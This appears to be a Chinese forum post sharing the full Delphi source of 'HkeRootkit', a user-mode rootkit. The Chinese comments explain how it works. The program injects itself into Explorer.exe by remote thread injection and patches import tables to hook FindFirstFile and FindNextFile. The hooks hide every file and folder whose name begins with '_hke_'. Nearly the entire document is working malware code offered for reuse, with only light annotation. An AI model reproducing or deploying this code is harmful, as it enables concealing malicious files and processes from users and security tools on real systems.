昨天给你发邮件了,被退回来了,说是有病毒!果然,远线就是容易被杀软关注啊。今天把源码直接发到这儿吧,这个比较厉害,涉及到远线注入和API Hook的。API Hook部分就别看了,很麻烦的。这个注释很详细的。远线部分我已经做标记了,是一堆///开始的部分。 program HkeRootkit; {$IMAGEBASE $21764538} //换个基址//////////////////////////////////////// takashiki注:基址一定要换的,否则与其他进程冲突。目的是将自己写到其它进程(这里是Explorer.exe进程)的私有空间。如果是DLL,则直接加载到公有空间就行了,那个比较简单的,网上代码也不少。 uses Windows; //APIHook基本代码 type TModuleList = array of cardinal; TImportFunction = packed record JumpInstruction: Word; AddressOfPointerToFunction: ^Pointer; end; TImageImportEntry = record Characteristics: dword; TimeDateStamp: dword; MajorVersion: word; MinorVersion: word; Name: dword; LookupTable: dword; end; // function GetModuleList: TModuleList; stdcall; //枚举模块列表 貌似用HelpAPI弄个快照效果差不多 var Module, Base: pointer; ModuleCount: integer; lpModuleName: array [0..MAX_PATH] of char; MemoryBasicInformation: TMemoryBasicInformation; begin SetLength(Result, 10); ModuleCount := 0; Module := nil; Base := nil; while VirtualQueryEx(GetCurrentProcess, Module, MemoryBasicInformation, SizeOf(MemoryBasicInformation)) = SizeOf(MemoryBasicInformation) do begin if (MemoryBasicInformation.State = MEM_COMMIT) and (MemoryBasicInformation.AllocationBase <> Base) and (MemoryBasicInformation.AllocationBase = MemoryBasicInformation.BaseAddress) and (GetModuleFileName(dword(MemoryBasicInformation.AllocationBase), lpModuleName, MAX_PATH) > 0) then begin if ModuleCount = Length(Result) then SetLength(Result, ModuleCount * 2); Result[ModuleCount] := dword(MemoryBasicInformation.AllocationBase); Inc(ModuleCount); end; Base := MemoryBasicInformation.AllocationBase; dword(Module) := dword(Module) + MemoryBasicInformation.RegionSize; end; SetLength(Result, ModuleCount); end; function FunctionAddress(Code: Pointer): Pointer;stdcall; //获得函数真实地址 begin Result := Code; if TImportFunction(Code^).JumpInstruction = $25FF then Result := TImportFunction(Code^).AddressOfPointerToFunction^; end; function HookModules(ImageDosHeader: PImageDosHeader; TargetAddress, NewAddress: Pointer; var OldAddress: Pointer):integer;stdcall; //修改一个模块来HookAPI var ImageNTHeaders : PImageNtHeaders; ImageImportEntry: ^TImageImportEntry; ImportCode: ^Pointer; OldProtect: dword; EndofImports: dword; begin Result := 0; OldAddress := FunctionAddress(TargetAddress); if ImageDosHeader.e_magic <> IMAGE_DOS_SIGNATURE then Exit; ImageNTHeaders := Pointer(integer(ImageDosHeader) + ImageDosHeader._lfanew);; if ImageNTHeaders <> nil then begin with ImageNTHeaders^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] do begin ImageImportEntry := Pointer(dword(ImageDosHeader) + VirtualAddress); EndofImports := VirtualAddress + Size; end; if ImageImportEntry <> nil then begin while ImageImportEntry^.Name <> 0 do begin if ImageImportEntry^.LookUpTable > EndofImports then break; if ImageImportEntry^.LookUpTable <> 0 then begin ImportCode := Pointer(dword(ImageDosHeader) + ImageImportEntry^.LookUpTable); while ImportCode^ <> nil do begin if (ImportCode^ = TargetAddress) and VirtualProtect(ImportCode, 4, PAGE_EXECUTE_READWRITE, @OldProtect) then ImportCode^ := NewAddress; Inc(ImportCode); end; end; Inc(ImageImportEntry); end; end; end; end; function HookAPI(TargetModule, TargetProc
char; NewProc: Pointer; var OldProc: Pointer): integer; stdcall; //实际上就是枚举模块完 一个一个Hook var ModuleLoop: integer; Modules: TModuleList; Module: hModule; Target: pointer; begin Result := 0; Module := GetModuleHandle(pchar(TargetModule)); Modules := GetModuleList; if Module = 0 then begin Module := LoadLibrary(pchar(TargetModule)); end; Target := GetProcAddress(Module, pchar(TargetProc)); if Target = nil then Exit; for ModuleLoop := 0 to High(Modules) do begin if (GetVersion and $80000000 = 0) or (Modules[ModuleLoop] < $80000000) then begin Result := HookModules(Pointer(Modules[ModuleLoop]), Target, NewProc, OldProc); end; end; end; function UnHookAPI(NewProc, OldProc: Pointer): integer; stdcall; //反Hook一遍就是了 var ModuleLoop: integer; Modules: TModuleList; begin Result := 0; Modules := GetModuleList; for ModuleLoop := 0 to High(Modules) do begin if (GetVersion and $80000000 = 0) or (Modules[ModuleLoop] < $80000000) then begin Result := HookModules(Pointer(Modules[ModuleLoop]), NewProc, OldProc, NewProc); end; end; end; // Const WuHansen='HkeRootkit By WuHansen.Com';//俺们弄个标识 function CheckMutex(Sym
char):bool;stdcall; //检查斥体是否存在 var h:longword; begin h:=OpenMutex(MUTEX_ALL_ACCESS, FALSE, Sym); Result:= h<> 0; CloseHandle(h); end; function CmpA(S
char):bool;stdcall; //判断pchar是不是_hke_开头 begin result:=false; if lstrlenA(S)>4 then if S[0]='_' then if (S[1]='h') or (S[1]='H') then if (S[2]='k') or (S[2]='K') then if (S[3]='e') or (S[3]='E') then if S[4]='_' then result:=true; end; function CmpW(S
Wchar):bool;stdcall; //判断pwidechar是不是_hke_开头 begin result:=false; if lstrlenW(S)>5 then if S[0]='_' then if (S[1]='h') or (S[1]='H') then if (S[2]='k') or (S[2]='K') then if (S[3]='e') or (S[3]='E') then if S[4]='_' then result:=true; end; //下面存放原函数地址 var FindNextFileANext : function (handle: dword; var data: TWin32FindDataA) : bool; stdcall; FindNextFileWNext : function (handle: dword; var data: TWin32FindDataW) : bool; stdcall; FindFirstFileANext :function (lpFileName: PChar; var data: TWIN32FindDataA): dword; stdcall; FindFirstFileWNext :function (lpFileName: PWChar; var data: TWIN32FindDataW): dword; stdcall; //代理函数 function FindFirstFileACallback(lpFileName: PChar; var data: TWIN32FindDataA): dword; stdcall; var tmp:bool; begin result := FindFirstFileANext(lpFileName, data); if CmpA(data.cFileName) then repeat tmp:= FindNextFileANext(result, data); until (not tmp) or (not CmpA(data.cFileName)); end; function FindFirstFileWCallback(lpFileName: PWChar; var data: TWIN32FindDataW): dword; stdcall; var tmp:bool; begin result := FindFirstFileWNext(lpFileName, data); if CmpW(data.cFileName) then repeat tmp:= FindNextFileWNext(result, data); until (not tmp) or (not CmpW(data.cFileName)); end; function FindNextFileACallback(handle: dword; var data: TWin32FindDataA) : bool; stdcall; begin repeat result := FindNextFileANext(handle, data); until (not result) or (not CmpA(data.cFileName)); end; function FindNextFileWCallback(handle: dword; var data: TWin32FindDataW) : bool; stdcall; begin repeat result := FindNextFileWNext(handle, data); until (not result) or (not CmpW(data.cFileName)); end; // var hMutex:LongWord; procedure Hook;stdcall; begin hMutex:=CreateMutex(nil, FALSE, WuHansen);//创建斥体 //下面开始HOOKAPI HookAPI('kernel32.dll', 'FindNextFileA', @FindNextFileACallback, @FindNextFileANext); HookAPI('kernel32.dll', 'FindNextFileW', @FindNextFileWCallback, @FindNextFileWNext); HookAPI('kernel32.dll', 'FindFirstFileA', @FindFirstFileACallback, @FindFirstFileANext); HookAPI('kernel32.dll', 'FindFirstFileW', @FindFirstFileWCallback, @FindFirstFileWNext); end; procedure UnHook;stdcall; begin //先卸载钩子 UnHookAPI(@FindNextFileACallback, @FindNextFileANext); UnHookAPI(@FindNextFileWCallback, @FindNextFileWNext); UnHookAPI(@FindFirstFileACallback, @FindFirstFileANext); UnHookAPI(@FindFirstFileWCallback, @FindFirstFileWNext); //关闭斥体 CloseHandle(hMutex); end; ///////////////////////////////////////////////////////////takashiki注: 远线注入的部分主要是下面的内容 var Pid,Tid,ProcessHandle,InjectSize,hThread,MSG:LongWord; Code,pRemote
ointer; begin Code:= pointer(GetModuleHandle(nil)); //获得自己模块地址 InjectSize:= PImageOptionalHeader(pointer(integer(Code)+PImageDosHeader(Code)._lfanew+SizeOf(dword)+SizeOf(TImageFileHeader))).SizeOfImage; if CheckMutex(WuHansen) then //发现斥体 begin MSG:=MessageBox(0,'检查到内存中有HkeRootkit要卸载吗?'+1310+'卸载后原来隐藏的文件在刷新后可见 '+1310+'Hke QQ:21764538',WuHansen,4); if MSG=6 then //用户按下Yes begin GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid); //取得Explorer.exe的进程ID ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开句柄 hThread:=CreateRemoteThread(ProcessHandle, nil, 0, @unHook, 0, 0, Tid); //创建远程线程 WaitForSingleObject(hThread, INFINITE); //等待线程运行完 CloseHandle(hThread); VirtualFreeEx(ProcessHandle, Code, 0, MEM_RELEASE);//把用完的内存释放掉 CloseHandle(ProcessHandle); //养成随手擦PP的好习惯 end; end else begin MSG:=MessageBox(0,'检查到内存中没有HkeRootkit要注入吗?'+1310+'(不写注册表,重启可恢复.或者再次运行本程序进行卸载.)'+1310+'API被Hook后会在任务管理器(我的电脑)中隐藏所有以_hke_开头的文件和文件夹 '+1310+'Hke QQ:21764538',WuHansen,4); if MSG=6 then begin GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid); ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); pRemote:=VirtualAllocEx(ProcessHandle,Code,InjectSize,MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); //在目标进程与本模块相同地址分配内存 //这样就不会因为内部地址不同产生错误 WriteProcessMemory(ProcessHandle, pRemote, Code, InjectSize, Tid); //把自己拷进对方内存 CreateRemoteThread(ProcessHandle, nil, 0, @Hook, 0, 0, Tid); //开线程 做坏事 CloseHandle(ProcessHandle); //还是要擦PP MessageBox(0,'API已经挂钩'+1310+'请刷新查看效果'+1310+'Hke QQ:21764538',WuHansen,0); end; end; end.